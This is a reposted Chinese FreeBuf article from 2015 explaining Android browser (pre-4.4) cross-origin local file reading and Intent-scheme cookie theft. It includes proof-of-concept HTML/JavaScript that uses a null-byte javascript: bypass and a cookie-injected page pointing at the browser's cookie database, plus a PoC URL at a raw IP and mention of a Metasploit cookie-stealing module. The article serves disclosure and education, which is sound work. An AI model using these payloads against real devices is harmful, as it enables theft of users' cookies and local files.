专栏首页FreeBufAndroid浏览器跨域数据窃取和Intent Scheme攻击

Android浏览器跨域数据窃取和Intent Scheme攻击

我们接下来要介绍的这个漏洞,其影响了Android版本4.4以下的自带浏览器和一些其他特定的Android浏览器,它允许黑客读取sqlite格式的cookie数据库文件,从而窃取cookie。顺着这个问题,我们来谈一谈Android版本4.4以下的跨站数据窃取攻击。

FreeBuf小科普

Intent Scheme URL攻击:这种攻击方式,利用了浏览器保护措施的不足,通过浏览器作为桥梁间接实现Intend-Based攻击。相比于普通Intend-Based攻击,这种方式极具隐蔽性,而且由于恶意代码隐藏WebPage中,传统的特征匹配完全不起作用。除此之外,这种攻击还能直接访问浏览器自身的组件(无论是公开还是私有)和私有文件,比如cookie文件,进而导致用户机密信息的泄露。 Intent-based攻击:这种基于intent的安卓攻击手法很普遍,轻则导致应用程序崩溃,重则可能演变提权漏洞。

攻击实验背景介绍

在我研究Stock浏览器的事务流程标准时发现,如果让浏览器打开新选项卡并且使用file://协议,就可以通过网页打开本地文件。当然,这的确不算一个漏洞,但是如果它能在读取本地文件后,然后把该文件的信息发送到远程时,那就完全不同了。而且我留意到,这是个Android下浏览器的通杀漏洞,且并不仅限于Chrome、Firefox或者Opera等等。

下面的截图展示了漏洞被补后,权限被禁用,想要从菜单栏打开本地文件会发生的错误:

攻击实验方案:

为了利用这个漏洞,我们模拟了以下攻击流程:

1.骗取用户访问黑客构造的网站
2.黑客在某页面设置返回特定头部内容,使得受害者的浏览器自行下载exploit.html
3.受害者浏览器会主动打开新选项卡,浏览exploit.html
4.exploit.html将读取本地敏感信息文件,反馈给黑客

为了给这次攻击构造一个有效的exp,我同某日本安全研究员Haru Sugiyama讨论后,他给了我以下的POC:

http://133.242.134.241/firefox/test.html

当你通过Android浏览器访问以上示例页面时,只要进行一些特定操作,其中的恶意脚本就会影响Firefox(文章首段提到的特定的Android浏览器实例)或者Android的自带浏览器,下载恶意代码到/sdcard/Download/exploit.html,当然前提是sdcard这个目录确实存在。浏览器会自行在新选项卡里打开刚刚下载的恶意文件exploit.html,然后从其他本地文件里读取内容。实际上,这个攻击过程并不如我讲的这么轻松愉快。在这里我们来做个对比实验,看看针对Android 2.3.xAndroid 4.1.x-4.3进行攻击的结果区别。

Android 2.3.x观察报告

实验中我们使用了Android 2.3的模拟器,很轻松地就通过恶意文件exploit.html读取到了其他本地文件的内容,这代表该版本系统浏览器存在相应的漏洞,允许恶意网站绕过Android浏览器同源策略,进行跨域数据窃取。但是,由于Android 2.3.x的使用量大约只占安卓用户的11.4%,而且正在如winxp一般慢慢地消亡,所以其危害并没有那么大,Android各版本用户使用量统计图如下:

然而Android 4.1.x-4.3虽然并不能直接读取本地文件,但我们在尝试了空字节绕过的小技巧后,发现收效甚好,POC如下:

<button onclick="exploit()">Read iframe</button> 
<button onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')">
Try \u0000
</button> 
<iframe src="file:/default.prop" name="test" style='width:100%;height:200'>
</iframe> 
<script> 
function exploit() 
{   
   var iframe = document.getElementsByTagName('iframe')[0];
   try
   {
   alert("Try to read local file.");     
   alert("contentWindow:"+iframe.contentWindow);     
   alert("document:"+iframe.contentWindow.document);     
   alert("body:"+iframe.contentWindow.document.body);     
   alert("innerHTML:"+iframe.contentWindow.document.body.innerHTML);   
    } 
 catch(e) 
 {
  alert(e);   
  } 
 } 
</script>

遗憾的是,据CVE-2014-6041所述,该漏洞已经打上补丁,经试验exp失效。

采用Intent scheme URL进行攻击

据我们以上研究得出的结论,想通过Android 4.1.x-4.3的浏览器进行本地文件读取是不可行的,因为在这一系列版本中,本地文件不能从任意其他文件里读取内容。然而,metasploit团队的Joe Vennix表示,从intent scheme入手就可以轻松地发起攻击,附上相应文章,以下是文章中的POC:

该攻击POC的思路是:

受害者保存了包含恶意JS代码的cookie后,浏览器打开储存该cookie的sqlite数据库文件时,附在cookie里被注入了的恶意JS代码会自动执行,从而窃取数据库文件中存在的其他cookie。基于这个POC,黑客可以尝试读取整个webviewCookieChromium.db文件。

<!doctype html>
      <html>
        <head><meta name="viewport" content="width=device-width, user-scalable=no" /></head>
        <body style='width:100%;font-size: 16px;'>
          <a href='file:///data/data/com.android.browser/databases/webviewCookiesChromium.db'>
            Redirecting... To continue, tap and hold here, then choose "Open in a new tab"
          </a>
          <script>
           document.cookie='x=<img src=x onerror=prompt(document.body.innerHTML)>';   
   </script>
        </body>
      </html>

Joe实现了一个Metasploit模块,可以自动化窃取cookie然后反馈给黑客,即使该数据库文件采用了httponly技术,这种攻击手段依然是危害巨大的。

Metasploit模块实现步骤:

下面的截图让你明白如何利用该模块获取cookie:

第一步:设置模块

第二步:窃取cookie

你做完了这步,就可以泡杯咖啡,坐等鱼儿上钩了。

第三步:坐等cookie

补丁相关信息:

在2014年2月发布了补丁,其对数据库文件储存目录的权限进行了加固,但是因补丁策略限制,它并没有照顾到大部分厂商。

[参考来源rafayhackingarticles,wooyun,译/FreeBuf小编dawner翻译整理,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2015-01-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 解药来了:思科发布针对勒索软件TeslaCrypt的解密工具

    这是一个真实的案例:就在上个月,小编的朋友,一位银行高管不慎点开了一封邮件的附件,真真切切的遭遇了原本以为只有在FreeBuf上看到的“新鲜玩意”——勒索软件。...

    FB客服
  • 等保2.0标准个人解读(二):安全通信网络

    本控制项和旧标准中的网络安全类似,主要关注网络架构通信传输及可信验证,相比较而言简化了一些,属于三重防护之一。

    FB客服
  • 我是如何找到Donald Daters应用数据库漏洞的

    星期一的晚上像往常一样我通过观看电视节目来打发时间,但并没有什么有趣的节目。于是我决定在手机上寻找乐趣,我开始漫无目的在Twitter上翻看各种推文,一条Fox...

    FB客服
  • BZOJ3351: [ioi2009]Regions(根号分治)

    如果b的出现次数\(< \sqrt{n}\),我们可以直接对每个b记录下与它有关的询问,这样每个询问至多扫\(\sqrt{n}\)个点即可知道答案,那么dfs的...

    attack
  • 另一种阶乘问题

    大家都知道阶乘这个概念,举个简单的例子:5!=1*2*3*4*5.现在我们引入一种新的阶乘概念,将原来的每个数相乘变为i不大于n的所有奇数相乘例如:5!!=1*...

    书童小二
  • POJ 3041 Asteroids(匈牙利算法)

           题意就是有一个地图,然后给你几个点的坐标标记为'x',然后你有一个武器,每次可以消灭一行或一列的'x',问最少需要几次能把所有的'x'消灭完。然后...

    Ch_Zaqdt
  • 一行js代码识别Selenium+Webdriver

    有不少朋友在开发爬虫的过程中喜欢使用Selenium + Chromedriver,以为这样就能做到不被网站的反爬虫机制发现。

    周小董
  • 13.按比例显示图片、自定义属性、测量

    六月的雨
  • 模仿企鹅FM播放主页面滑动动态改变各视图的大小

    国庆的一个任务就是把自己之前写的代码搬到博客。这次给各位带来的是通过滑动来动态改变各个View的大小进而达到企鹅FM播放页面的滑动效果(仅仅是滑动效果),老规矩...

    HelloJack
  • 查找算法总结及其算法实现(Python/Java)

    需和指定key进行比较的关键字的个数的期望值,称为查找算法在查找成功时的平均查找长度。

    后端技术漫谈

扫码关注云+社区

领取腾讯云代金券